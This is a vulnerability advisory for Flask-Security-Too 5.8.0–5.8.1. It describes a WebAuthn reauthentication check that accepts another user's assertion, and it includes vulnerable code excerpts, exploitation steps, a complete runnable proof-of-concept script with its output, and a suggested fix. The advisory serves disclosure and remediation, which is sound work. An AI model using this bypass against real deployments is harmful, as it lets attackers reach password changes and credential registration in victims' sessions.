PT-2026-60911 · Pypi · Flask-Security-Too

Published

2026-07-07

·

Updated

2026-07-07

CVSS v4.0

5.3

Medium

VectorAV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Summary

Flask-Security-Too 5.8.0 and 5.8.1 mark a session as reauthentication-fresh after processing a WebAuthn assertion whose proven credential belongs to a different user than the currently authenticated session user. The check that GHSA-97r5-pg8x-p63p added on the OAuth reauthentication path (user.email == current user.email) is missing on the WebAuthn reauthentication path. An attacker who owns any WebAuthn credential registered to any account on the deployment can satisfy a victim session's freshness gate by submitting their own WebAuthn proof into the victim session.

Affected versions

Flask-Security-Too >= 5.8.0, <= 5.8.1 (current main commit 5c44c76e33a20b67d02115e26d2da4bab18c094e). GHSA-97r5-pg8x-p63p (published 2026-05-22) shipped its fix in 5.8.1 only on oauth glue.py; webauthn.py was not touched and remains exploitable in 5.8.1.

Privilege required

Authenticated attacker on the same Flask-Security deployment, owning at least one WebAuthn credential of any usage (first / secondary / verify) that is registered to their own account. The attacker also needs the ability to drive HTTP requests against the WebAuthn endpoints inside the victim session (e.g. a separate gadget such as CSRF + cookie-based auth, an XSS that doesn't reach the cookie itself but can move the session through endpoints, or an existing session-fixation gadget; or the rarer but easier case of an attacker who has direct access to the victim's not-yet-fresh session via a shared browser). The point of the freshness gate is to defend exactly that "I have the session but it isn't fresh enough to do sensitive things" position, so any context in which freshness would have protected the victim is also the context in which this bypass matters.

Vulnerable code

[flask security/webauthn.py:846-889](https://github.com/pallets-eco/flask-security/blob/5c44c76e33a20b67d02115e26d2da4bab18c094e/flask security/webauthn.py#L846-L889) (commit 5c44c76e33a20b67d02115e26d2da4bab18c094e):
python
@auth required(lambda: cv("API ENABLED METHODS"))
def webauthn verify response(token: str) -> ResponseValue:
  form = t.cast(
    WebAuthnSigninResponseForm, build form from request("wan signin response form")
  )

  expired, invalid, state = check and get token status(
    token, "wan", get within delta("WAN SIGNIN WITHIN")
  )
  ...
  form.challenge = state["challenge"]
  form.user verification = state["user verification"]
  form.is secondary = False
  form.is verify = True

  if form.validate on submit():
    # update last use and sign count
    after this request(view commit)
    assert form.cred
    assert form.user
    form.cred.lastuse datetime = security.datetime factory()
    form.cred.sign count = form.authentication verification.new sign count
     datastore.put(form.cred)

    # verified - so set freshness time.
    session["fs paa"] = time.time()
    ...
[flask security/webauthn.py:276-308](https://github.com/pallets-eco/flask-security/blob/5c44c76e33a20b67d02115e26d2da4bab18c094e/flask security/webauthn.py#L276-L308) (the form's validate()):
python
def validate(self, **kwargs: t.Any) -> bool:
  if not super().validate(**kwargs):
    return False # pragma: no cover
  ...
  try:
    auth cred = parse authentication credential json(self.credential.data)
  except (...):
    ...
    return False

  # Look up credential Id (raw id) and user. 7.2.6/7
  self.cred = datastore.find webauthn(credential id=auth cred.raw id)
  ...
  # This shouldn't be able to happen if datastore properly cascades delete
  self.user = datastore.find user from webauthn(self.cred)
self.user is resolved from the attacker-controlled credential id and is never compared to current user. The state token issued by signin common (webauthn.py:589-622) carries only {challenge, user verification}, so state tokens are not bound to any user and replay portably across sessions:
python
def signin common(user: UserMixin | None, usage: list[str]) -> tuple[t.Any, str]:
  ...
  state = {
    "challenge": challenge,
    "user verification": uv,
  }
  ...
  state token = t.cast(str, security.wan serializer.dumps(state))
  return o json, state token
Contrast with the patch in [oauth glue.py:211](https://github.com/pallets-eco/flask-security/blob/5c44c76e33a20b67d02115e26d2da4bab18c094e/oauth glue.py#L211) that GHSA-97r5-pg8x-p63p shipped:
python
next loc = session.pop("fs oauth next", None)
if user and user.email == current user.email:
  # verified - so set freshness time.
  session["fs paa"] = time.time()
That user.email == current user.email clamp is the missing check on the WebAuthn side.

How input reaches the sink

  1. Attacker logs in to their own account and registers their own WebAuthn credential (call it cred attacker). They retain a copy of any valid navigator.credentials.get() assertion JSON produced by their authenticator (one signature is enough; can also be produced fresh on demand per request).
  2. Attacker holds, or gets, a victim session in a state where fs paa is past FRESHNESS. The victim is authenticated as themselves; the gate stops them from invoking freshness-protected business endpoints (/change, /change-username, /wf-add, /us-setup, anything decorated with @auth required(within=...)).
  3. The victim session calls POST /wan-verify and receives a wan state token. The state token has no user binding.
  4. Attacker submits an assertion that proves possession of cred attacker, inside the victim session, to POST /wan-verify/<wan state>.
  5. WebAuthnSigninResponseForm.validate resolves form.user to the attacker account from find user from webauthn(self.cred), signs/verifies the assertion against the (attacker-controlled) public key it stored at registration time, and returns True. The user-handle check on auth cred.response.user handle (if present) compares against self.user.fs webauthn user handle, i.e. it compares attacker user-handle to attacker user, so it passes trivially.
  6. webauthn verify response then writes session["fs paa"] = time.time(). The session user is unchanged (still the victim) but the freshness clock is reset by a cryptographic proof of the attacker's authenticator.
  7. Any subsequent @auth required(within=...) endpoint now succeeds inside the victim session.

End-to-end reproduction

Reproduction is an in-process Flask test client driving the published wheel (pip install Flask-Security-Too==5.8.0, also re-run against 5.8.1 since GHSA-97r5-pg8x-p63p's fix shipped with that release only touched oauth glue.py). The full transcript is in the Proof of concept section below; here is the boot recipe:
bash
python3.12 -m venv venv
source venv/bin/activate
pip install --quiet 'Flask-Security-Too==5.8.0' Flask-SQLAlchemy webauthn email-validator argon2 cffi
python poc.py
Captured run-time output (5.8.0 path):
=== Submit BOB's WebAuthn assertion to Alice's /wan-verify-response ===
 cross-user assertion status: 200
 alice fs uniquifier in session AFTER: '408245d132bc4213a55606c46f40e038'  # still Alice
 fs paa BEFORE: 1779582282.550872
 fs paa AFTER : 1779585882.615287                      # advanced
=== Demonstrate impact: /sensitive (freshness-protected) accepted ===
 /sensitive after cross-user verify status: 200
Re-run against 5.8.1 produces the same 200 on the cross-user assertion and the same 200 on the freshness-gated endpoint, confirming that the patch for GHSA-97r5-pg8x-p63p did not extend to the WebAuthn path.

Proof of concept

Mocked WebAuthn fixtures (REG DATA UV, SIGNIN DATA UV, REG DATA1, SIGNIN DATA1) and HackWebauthnUtil are lifted verbatim from the project's own test suite ([tests/test webauthn.py](https://github.com/pallets-eco/flask security/blob/5c44c76e33a20b67d02115e26d2da4bab18c094e/tests/test webauthn.py)) which pins the challenge so a recorded assertion blob can be replayed; this does not bypass any cryptographic check inside webauthn.verify authentication response, it just substitutes the test-suite's own WebauthnUtil so the recorded blobs can be exercised against a running app instance. In a real-world deployment the attacker uses their own authenticator producing fresh assertions per request.
poc.py (complete, runnable; the REG DATA* / SIGNIN DATA* fixtures are the project's own tests/test webauthn.py blobs, reproduced in full):
python
"""
E2E PoC for Flask-Security-Too 5.8.0 WebAuthn reauthentication freshness bypass
via cross-user assertion.

Sibling of GHSA-97r5-pg8x-p63p (OAuth path, fixed in 5.8.1). The WebAuthn
verify path (`webauthn.py:847-889 webauthn verify response` +
`webauthn.py:276-366 WebAuthnSigninResponseForm.validate`) sets
`session["fs paa"] = time.time()` whenever a syntactically valid WebAuthn
assertion completes, without checking that the assertion's resolved user
equals the current session user.

Setup:
 - Alice and Bob both registered as users.
 - Each registers their own WebAuthn credential (REG DATA UV for Alice as
  primary-usage key, REG DATA1 for Bob as primary-usage key).
 - Alice authenticates via password. Her freshness timestamp is rolled back
  to simulate a stale session (the standard reauthn precondition).
 - Alice's session attempts /wan-verify and gets a state token. The state
  token only contains {challenge, user verification} -- no user binding.
 - Alice's session POSTs to /wan-verify/<state token> with BOB's WebAuthn
  credential signature (SIGNIN DATA1).
 - validate() resolves form.user from Bob's credential id without checking
  against current user. webauthn verify response writes
  session["fs paa"] = time.time().
 - Alice now passes the freshness gate using a proof of Bob's credential.

Outcome: a freshness-protected endpoint (/fresh, /change-username, etc.)
responds 200 for Alice's session even though the only credential proof
provided was Bob's. This is the same trust-contract violation that
GHSA-97r5-pg8x-p63p patched on the OAuth path.
"""

import copy
import datetime as dt
import json
import re
import time
from datetime import timedelta

from flask import Flask, jsonify
from flask sqlalchemy import SQLAlchemy
from flask security import (
  Security,
  SQLAlchemyUserDatastore,
  auth required,
  hash password,
)
from flask security.models import fsqla v3 as fsqla
from flask security.webauthn util import WebauthnUtil

# Fixtures lifted verbatim from tests/test webauthn.py
CHALLENGE = "smCCiy k2CqQydSQ kPEjV5a2d0ApfatcpQ1aXDmQPo"

REG DATA UV = {
  "id": "s3xZpfGy0ZH-sSkfxIsgChwbkw O0jOFtZeJ1LXUMEa8atG1oEskNqmFJCfgKZGy",
  "rawId": "s3xZpfGy0ZH-sSkfxIsgChwbkw O0jOFtZeJ1LXUMEa8atG1oEskNqmFJCfgKZGy",
  "type": "public-key",
  "response": {
    "attestationObject": "o2NmbXRkbm9uZWdhdHRTdG10oGhhdXRoRGF0YVjC"
    "SZYN5YgOjGh0NBcPZHZgW4 krrmihjLHmVzzuoMdl2PFAAAABAAAAA"
    "AAAAAAAAAAAAAAAAAAMLN8WaXxstGR rEpH8SLIAocG5MPztIzhbWXi"
    "dS11DBGvGrRtaBLJDaphSQn4CmRsqUBAgMmIAEhWCCzfFml8bLRkf"
    "6xKR EUnaoI333MuxRlv5-LwojDibdTyJYIFMifFwn-RfkDDgsTHF"
    "jWgE6bld-Jc4nhFMTkQja9P8IoWtjcmVkUHJvdGVjdAI",
    "clientDataJSON": "eyJ0eXBlIjoid2ViYXV0aG4uY3JlYXRlIiwiY2hhbGxlbmdlIjoiYzI"
    "xRFEybDVYMnN5UTNGUmVXUlRVVjlyVUVWcVZqVmhNbVF3UVhCbVlY"
    "UmpjRkV4WVZoRWJWRlFidyIsIm9yaWdpbiI6Imh0dHA6Ly9sb2Nhb"
    "Ghvc3Q6NTAwMSIsImNyb3NzT3JpZ2luIjpmYWxzZX0",
    "transports": ["nfc", "usb"],
  },
  "extensions": '{"credProps":{"rk":true}}',
}
SIGNIN DATA UV = {
  "id": "s3xZpfGy0ZH-sSkfxIsgChwbkw O0jOFtZeJ1LXUMEa8atG1oEskNqmFJCfgKZGy",
  "rawId": "s3xZpfGy0ZH-sSkfxIsgChwbkw O0jOFtZeJ1LXUMEa8atG1oEskNqmFJCfgKZGy",
  "type": "public-key",
  "response": {
    "authenticatorData": "SZYN5YgOjGh0NBcPZHZgW4 krrmihjLHmVzzuoMdl2MFAAAABQ==",
    "clientDataJSON": "eyJ0eXBlIjoid2ViYXV0aG4uZ2V0IiwiY2hhbGxlbmdlIjoiYzIxRFEy"
    "bDVYMnN5UTNGUmVXUlRVVjlyVUVWcVZqVmhNbVF3UVhCbVlYUmpjRkV4W"
    "VZoRWJWRlFidyIsIm9yaWdpbiI6Imh0dHA6Ly9sb2NhbGhvc3Q6NTAwMSI"
    "sImNyb3NzT3JpZ2luIjpmYWxzZX0=",
    "signature": "MEUCIQDR0m9Ob4nqVGiAPUf1Tu5XohDh2frl1LJ6G41GURlUIgIgKUPfkw"
    "AjP2863L2nDhcR2EKqoGEQLqlQ5xymZstyO6o=",
  },
  "assertionClientExtensions": "{}",
}
REG DATA1 = {
  "id": "wUUqNOjY35dcT-vpikZpZx-T91NjIe4PqrV8j7jYPOc",
  "rawId": "wUUqNOjY35dcT-vpikZpZx-T91NjIe4PqrV8j7jYPOc",
  "type": "public-key",
  "response": {
    "attestationObject": "o2NmbXRkbm9uZWdhdHRTdG10oGhhdXRoRGF0YVikSZYN5YgOjGh0NB"
    "cPZHZgW4 krrmihjLHmVzzuoMdl2NFAAAAAQAAAAAAAAAAAAAAAAAAA"
    "AAAIMFFKjTo2N-XXE r6YpGaWcfk dTYyHuD6q1fI-42DznpQECAy"
    "YgASFYIFRipoWMEiDuCtLUvSlqCFZBqxvUuNqZKavlWgvN2BK8Il"
    "ggLOV4eez9k0det5oIZGyKanGkmWa0hygnjjFmf8Rep6c",
    "clientDataJSON": "eyJ0eXBlIjoid2ViYXV0aG4uY3JlYXRlIiwiY2hhbGxlbmdlIjoiYzIxR"
    "FEybDVYMnN5UTNGUmVXUlRVVjlyVUVWcVZqVmhNbVF3UVhCbVlYUmpjRk"
    "V4WVZoRWJWRlFidyIsIm9yaWdpbiI6Imh0dHA6Ly9sb2NhbGhvc3Q6NT"
    "AwMSIsImNyb3NzT3JpZ2luIjpmYWxzZX0",
    "transports": ["usb"],
  },
  "extensions": '{"credProps": {}}',
}
SIGNIN DATA1 = {
  "id": "wUUqNOjY35dcT-vpikZpZx-T91NjIe4PqrV8j7jYPOc",
  "rawId": "wUUqNOjY35dcT-vpikZpZx-T91NjIe4PqrV8j7jYPOc",
  "type": "public-key",
  "response": {
    "authenticatorData": "SZYN5YgOjGh0NBcPZHZgW4 krrmihjLHmVzzuoMdl2MBAAAABQ==",
    "clientDataJSON": "eyJ0eXBlIjoid2ViYXV0aG4uZ2V0IiwiY2hhbGxlbmdlIjoiYzIxRFEy"
    "bDVYMnN5UTNGUmVXUlRVVjlyVUVWcVZqVmhNbVF3UVhCbVlYUmpjRkV4"
    "WVZoRWJWRlFidyIsIm9yaWdpbiI6Imh0dHA6Ly9sb2NhbGhvc3Q6NTAw"
    "MSIsImNyb3NzT3JpZ2luIjpmYWxzZX0=",
    "signature": "MEUCIH5VdRXxfnoxfrVk72gvWAn91QH-l2UrIohk5YOWi9XpAiEAn6f9oHtFS"
    "68HVf6K Ku0L33C0sID2HzpJWSiTNgJlbU=",
  },
  "assertionClientExtensions": "{}",
}


class HackWebauthnUtil(WebauthnUtil):
  """Mirrors tests/test webauthn.py: pins the challenge to the value embedded
  in REG DATA / SIGNIN DATA so the cryptographic verification accepts the
  pre-recorded blobs. Standard PoC technique used by the project's own test
  suite. Does NOT change the vulnerable code path."""

  def generate challenge(self, nbytes=None):
    return CHALLENGE

  def origin(self):
    return "http://localhost:5001"


def build app():
  app = Flask( name )
  app.config["SECRET KEY"] = "poc-secret"
  app.config["SECURITY PASSWORD SALT"] = "poc-salt"
  app.config["SQLALCHEMY DATABASE URI"] = "sqlite:///:memory:"
  app.config["SQLALCHEMY TRACK MODIFICATIONS"] = False
  app.config["WTF CSRF ENABLED"] = False
  app.config["SERVER NAME"] = "localhost:5001"

  app.config["SECURITY WEBAUTHN"] = True
  app.config["SECURITY WAN ALLOW AS FIRST FACTOR"] = True
  app.config["SECURITY WAN ALLOW AS VERIFY"] = ["first", "secondary"]
  app.config["SECURITY WAN ALLOW AS MULTI FACTOR"] = True
  app.config["SECURITY FRESHNESS"] = timedelta(minutes=1)
  app.config["SECURITY FRESHNESS GRACE PERIOD"] = timedelta(seconds=0)
  app.config["SECURITY CHANGEABLE"] = True
  app.config["SECURITY USERNAME ENABLE"] = False
  app.config["SECURITY FRESHNESS"] = timedelta(seconds=10)

  db = SQLAlchemy(app)
  fsqla.FsModels.set db info(db)

  class Role(db.Model, fsqla.FsRoleMixin):
    pass

  class WebAuthn(db.Model, fsqla.FsWebAuthnMixin):
    pass

  class User(db.Model, fsqla.FsUserMixin):
    pass

  ds = SQLAlchemyUserDatastore(db, User, Role, WebAuthn)
  app.security = Security(
    app, datastore=ds, webauthn util cls=HackWebauthnUtil
  )

  # A representative freshness-protected business endpoint. Same gate the
  # built-in /change, /change-username, /wf-add etc. use.
  @app.route("/sensitive", methods=["POST"])
  @auth required(
    within=lambda: app.config["SECURITY FRESHNESS"],
    grace=lambda: app.config["SECURITY FRESHNESS GRACE PERIOD"],
  )
  def sensitive():
    return jsonify({"ok": True}), 200

  with app.app context():
    db.create all()
    ds.create user(
      email="alice@example.com",
      password=hash password("alice-password"),
      confirmed at=dt.datetime.now(dt.timezone.utc),
    )
    ds.create user(
      email="bob@example.com",
      password=hash password("bob-password"),
      confirmed at=dt.datetime.now(dt.timezone.utc),
    )
    db.session.commit()

  return app


def register start json(client, name, usage="first"):
  resp = client.post("/wan-register", json=dict(name=name, usage=usage))
  assert resp.status code == 200, resp.data
  return f'/wan-register/{resp.json["response"]["wan state"]}'


def login password(client, email, password):
  resp = client.post(
    "/login",
    json=dict(email=email, password=password),
    headers={"Content-Type": "application/json", "Accept": "application/json"},
  )
  assert resp.status code == 200, resp.data
  return resp


def logout(client):
  return client.post(
    "/logout",
    headers={"Content-Type": "application/json", "Accept": "application/json"},
  )


def step(label):
  print(f"
=== {label} ===")


def main():
  app = build app()

  print(f"flask-security version under test: { import ('flask security'). version }")

  # Step 1: Bob logs in, registers his WebAuthn credential, logs out
  step("Bob registers his WebAuthn credential (attacker's own key)")
  bob client = app.test client()
  login password(bob client, "bob@example.com", "bob-password")
  url = register start json(bob client, name="bobkey", usage="first")
  r = bob client.post(url, json=dict(credential=json.dumps(REG DATA1)))
  assert r.status code == 200, r.data
  print(f" bob register status: {r.status code}")
  logout(bob client)

  # Step 2: Alice logs in, registers her own WebAuthn credential, stays logged in
  step("Alice registers her own WebAuthn credential (victim's key)")
  alice client = app.test client()
  login password(alice client, "alice@example.com", "alice-password")
  url = register start json(alice client, name="alicekey", usage="first")
  r = alice client.post(url, json=dict(credential=json.dumps(REG DATA UV)))
  assert r.status code == 200, r.data
  print(f" alice register status: {r.status code}")

  # Step 3: Confirm Alice's session can hit /sensitive while fresh (sanity)
  step("Confirm /sensitive works while session is fresh")
  r = alice client.post(
    "/sensitive",
    json=dict(),
    headers={"Content-Type": "application/json", "Accept": "application/json"},
  )
  print(f" /sensitive while fresh status: {r.status code}")
  assert r.status code == 200, r.data

  # Step 4: Roll Alice's fs paa back to simulate a stale session
  step("Stale Alice's session (roll fs paa back past FRESHNESS)")
  with alice client.session transaction() as sess:
    old paa = sess["fs paa"] - 3600
    sess["fs paa"] = old paa
    sess.pop("fs gexp", None)
    alice identity = sess.get(" user id")
  print(f" alice fs uniquifier in session: {alice identity!r}")
  print(f" alice fs paa now: {old paa}")

  # Step 5: Confirm freshness gate now denies Alice
  step("Confirm /sensitive now requires reauth (401 reauth required)")
  r = alice client.post(
    "/sensitive",
    json=dict(),
    headers={"Content-Type": "application/json", "Accept": "application/json"},
  )
  print(f" /sensitive after stale status: {r.status code}")
  print(f" body: {r.json}")
  assert r.status code == 401
  assert r.json["response"]["reauth required"] is True

  # Step 6: Alice's session calls /wan-verify -> gets state token.
  # The state token contains {challenge, user verification} only -- no user
  # binding -- and the WebAuthn challenge it embeds is the pinned constant
  # CHALLENGE because HackWebauthnUtil overrides generate challenge. That
  # matches the challenge baked into Bob's pre-recorded SIGNIN DATA1.
  step("Alice fetches /wan-verify state token")
  r = alice client.post(
    "/wan-verify",
    json=dict(),
    headers={"Content-Type": "application/json", "Accept": "application/json"},
  )
  assert r.status code == 200, r.data
  wan state = r.json["response"]["wan state"]
  print(f" wan state acquired (truncated): {wan state[:80]}...")

  # Step 7: Alice's session POSTs Bob's SIGNIN DATA to /wan-verify/<state token>.
  # WebAuthnSigninResponseForm.validate() resolves form.user from
  # SIGNIN DATA1.id == Bob's credential id, and never checks form.user ==
  # current user. webauthn verify response then writes
  # session["fs paa"] = time.time() on Alice's session.
  step("Submit BOB's WebAuthn assertion to Alice's /wan-verify-response")
  r = alice client.post(
    f"/wan-verify/{wan state}",
    json=dict(credential=json.dumps(SIGNIN DATA1)),
    headers={"Content-Type": "application/json", "Accept": "application/json"},
  )
  print(f" cross-user assertion status: {r.status code}")
  print(f" body: {r.json}")
  assert r.status code == 200, "Expected webauthn verify response to accept cross-user assertion"

  # Step 8: Inspect Alice's session. fs paa should be freshly updated even
  # though the proof was Bob's credential.
  with alice client.session transaction() as sess:
    new paa = sess["fs paa"]
    post attack identity = sess.get(" user id")
  print(f" alice fs uniquifier in session AFTER: {post attack identity!r}")
  print(f" fs paa BEFORE: {old paa}")
  print(f" fs paa AFTER : {new paa}")
  assert new paa > old paa, "fs paa was NOT advanced -> not exploitable"
  assert post attack identity == alice identity, "Session swapped users -- different bug"

  # Step 9: Confirm Alice's session now passes the freshness-gated action.
  step("Demonstrate impact: /sensitive (freshness-protected) accepted")
  r = alice client.post(
    "/sensitive",
    json=dict(),
    headers={"Content-Type": "application/json", "Accept": "application/json"},
  )
  print(f" /sensitive after cross-user verify status: {r.status code}")
  print(f" body: {r.json}")
  assert r.status code == 200, "Freshness gate did NOT accept the cross-user proof"

  print("
=== RESULT ===")
  print("Alice's session was reauthenticated using BOB's WebAuthn credential.")
  print("fs paa advanced; freshness-gated endpoints accept Alice's session.")
  print("The session user is still Alice (this is reauth-freshness bypass,")
  print("not a login bypass) -- same trust-contract violation that")
  print("GHSA-97r5-pg8x-p63p fixed on the OAuth path.")


if  name  == " main ":
  main()
Verbatim run-time output against the published Flask-Security-Too==5.8.0 wheel ($ python poc.py):
flask-security version under test: 5.8.0

=== Bob registers his WebAuthn credential (attacker's own key) ===
 bob register status: 200

=== Alice registers her own WebAuthn credential (victim's key) ===
 alice register status: 200

=== Confirm /sensitive works while session is fresh ===
 /sensitive while fresh status: 200

=== Stale Alice's session (roll fs paa back past FRESHNESS) ===
 alice fs uniquifier in session: '408245d132bc4213a55606c46f40e038'
 alice fs paa now: 1779582282.550872

=== Confirm /sensitive now requires reauth (401 reauth required) ===
 /sensitive after stale status: 401
 body: {'meta': {'code': 401}, 'response': {'errors': ['You must reauthenticate to access this endpoint'], 'has webauthn verify credential': True, 'oauth enabled': False, 'oauth providers': [], 'reauth required': True, 'unified signin enabled': False}}

=== Alice fetches /wan-verify state token ===
 wan state acquired (truncated): eyJjaGFsbGVuZ2UiOiJzbUNDaXlfazJDcVF5ZFNRX2tQRWpWNWEyZDBBcGZhdGNwUTFhWERtUVBvIiwi...

=== Submit BOB's WebAuthn assertion to Alice's /wan-verify-response ===
 cross-user assertion status: 200
 body: {'meta': {'code': 200}, 'response': {'csrf token': 'IjYzMDk1YjZjMTUwOTJlOWU4ZjAxNTQ1ZDI3MTM4YzA1OWJkYjZmZjci.ahJTWg.cWM261xwKEAFJXa3SK-ioz6pTro', 'user': {}}}
 alice fs uniquifier in session AFTER: '408245d132bc4213a55606c46f40e038'
 fs paa BEFORE: 1779582282.550872
 fs paa AFTER : 1779585882.615287

=== Demonstrate impact: /sensitive (freshness-protected) accepted ===
 /sensitive after cross-user verify status: 200
 body: {'ok': True}

=== RESULT ===
Alice's session was reauthenticated using BOB's WebAuthn credential.
fs paa advanced; freshness-gated endpoints accept Alice's session.
The session user is still Alice (this is reauth-freshness bypass,
not a login bypass) -- same trust-contract violation that
GHSA-97r5-pg8x-p63p fixed on the OAuth path.
Re-run against the published Flask-Security-Too==5.8.1 wheel (the release that shipped the GHSA-97r5-pg8x-p63p OAuth fix) is identical — the cross-user assertion is still accepted (200) and the freshness-gated endpoint is still reachable (200), confirming the parent fix did not extend to the WebAuthn path:
flask-security version under test: 5.8.1

=== Bob registers his WebAuthn credential (attacker's own key) ===
 bob register status: 200

=== Alice registers her own WebAuthn credential (victim's key) ===
 alice register status: 200

=== Confirm /sensitive works while session is fresh ===
 /sensitive while fresh status: 200

=== Stale Alice's session (roll fs paa back past FRESHNESS) ===
 alice fs uniquifier in session: 'c60d7c7a5a894575b396f8917c814e46'
 alice fs paa now: 1779582300.361872

=== Confirm /sensitive now requires reauth (401 reauth required) ===
 /sensitive after stale status: 401
 body: {'meta': {'code': 401}, 'response': {'errors': ['You must reauthenticate to access this endpoint'], 'has webauthn verify credential': True, 'oauth enabled': False, 'oauth providers': [], 'reauth required': True, 'unified signin enabled': False}}

=== Alice fetches /wan-verify state token ===
 wan state acquired (truncated): eyJjaGFsbGVuZ2UiOiJzbUNDaXlfazJDcVF5ZFNRX2tQRWpWNWEyZDBBcGZhdGNwUTFhWERtUVBvIiwi...

=== Submit BOB's WebAuthn assertion to Alice's /wan-verify-response ===
 cross-user assertion status: 200
 body: {'meta': {'code': 200}, 'response': {'csrf token': 'ImJiZTQ2YWJhMmJlMDJlNWU2NDE2ODI1Njc0Nzc4ZGJhYzYzZDBhOWEi.ahJTbA.gEq7o8QoNq5t-UnjM9SdR 9Mqw4', 'user': {}}}
 alice fs uniquifier in session AFTER: 'c60d7c7a5a894575b396f8917c814e46'
 fs paa BEFORE: 1779582300.361872
 fs paa AFTER : 1779585900.41935

=== Demonstrate impact: /sensitive (freshness-protected) accepted ===
 /sensitive after cross-user verify status: 200
 body: {'ok': True}

=== RESULT ===
Alice's session was reauthenticated using BOB's WebAuthn credential.
fs paa advanced; freshness-gated endpoints accept Alice's session.
The session user is still Alice (this is reauth-freshness bypass,
not a login bypass) -- same trust-contract violation that
GHSA-97r5-pg8x-p63p fixed on the OAuth path.
The session user remains Alice (fs uniquifier unchanged), but fs paa advances and the freshness-gated endpoint accepts the request, even though the only cryptographic proof presented was Bob's WebAuthn signature.

Impact

  • Bypass of @auth required(within=...) freshness gates on the WebAuthn reauthentication path. Any sensitive operation that relies on freshness (built-in: /change password change, /change-username, /wf-add to register a new WebAuthn credential, /us-setup to (re)configure unified signin, /mf-recovery-codes; app-defined: any business route the application protected with @auth required(within=...)) is reachable from an attacker-held victim session.
  • Promotes any session-handoff or session-holder gadget from "victim still protected against sensitive ops" to "attacker reaches sensitive ops" using the attacker's own authenticator.
  • Same trust-contract violation that GHSA-97r5-pg8x-p63p (rated medium) was published to close on the OAuth path. The WebAuthn variant is reachable wherever the project's WebAuthn-verify is enabled.

Suggested fix

Add the equivalent of the OAuth fix in flask security/webauthn.py:webauthn verify response so the cryptographically verified user must equal the currently authenticated session user before freshness is advanced:
python
if form.validate on submit():
  assert form.cred
  assert form.user
  if form.user != current user. get current object():
    # Cryptographic proof was valid, but for a different account; do not
    # treat the current session as reauthenticated.
    m, c = get message("WEBAUTHN MISMATCH USER HANDLE")
    if security. want json(request):
      form.form errors.append(m)
      return base render json(form, include user=False)
    do flash(m, c)
    return redirect(url for security("wan verify"))

  after this request(view commit)
  form.cred.lastuse datetime = security.datetime factory()
  form.cred.sign count = form.authentication verification.new sign count
   datastore.put(form.cred)
  session["fs paa"] = time.time()
  ...
Equivalent pattern (and arguably tighter) is to add a bind into the state token issued by signin common when called from webauthn verify (the caller already holds form.user = current user):
python
def signin common(user, usage):
  ...
  state = {
    "challenge": challenge,
    "user verification": uv,
    "user id": user.fs uniquifier if user else None,  # NEW
  }
  ...
and check it in WebAuthnSigninResponseForm.validate when the form is being used for verify (self.is verify). Either fix shape closes the bug; the current user-bind shape mirrors [oauth glue.py:211](https://github.com/pallets-eco/flask-security/blob/5c44c76e33a20b67d02115e26d2da4bab18c094e/oauth glue.py#L211) more directly. The /wan-signin flow (is verify == False) does not need to change — it is the primary-signin path where there is by design no current user yet.

Fix PR

To follow on the advisory's temp private fork once it is provisioned.

Credit

Reported by tonghuaroot.

Fix

Incorrect Authorization

Improper Authentication

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

GHSA-F66Q-9RF6-8795

Affected Products

Flask-Security-Too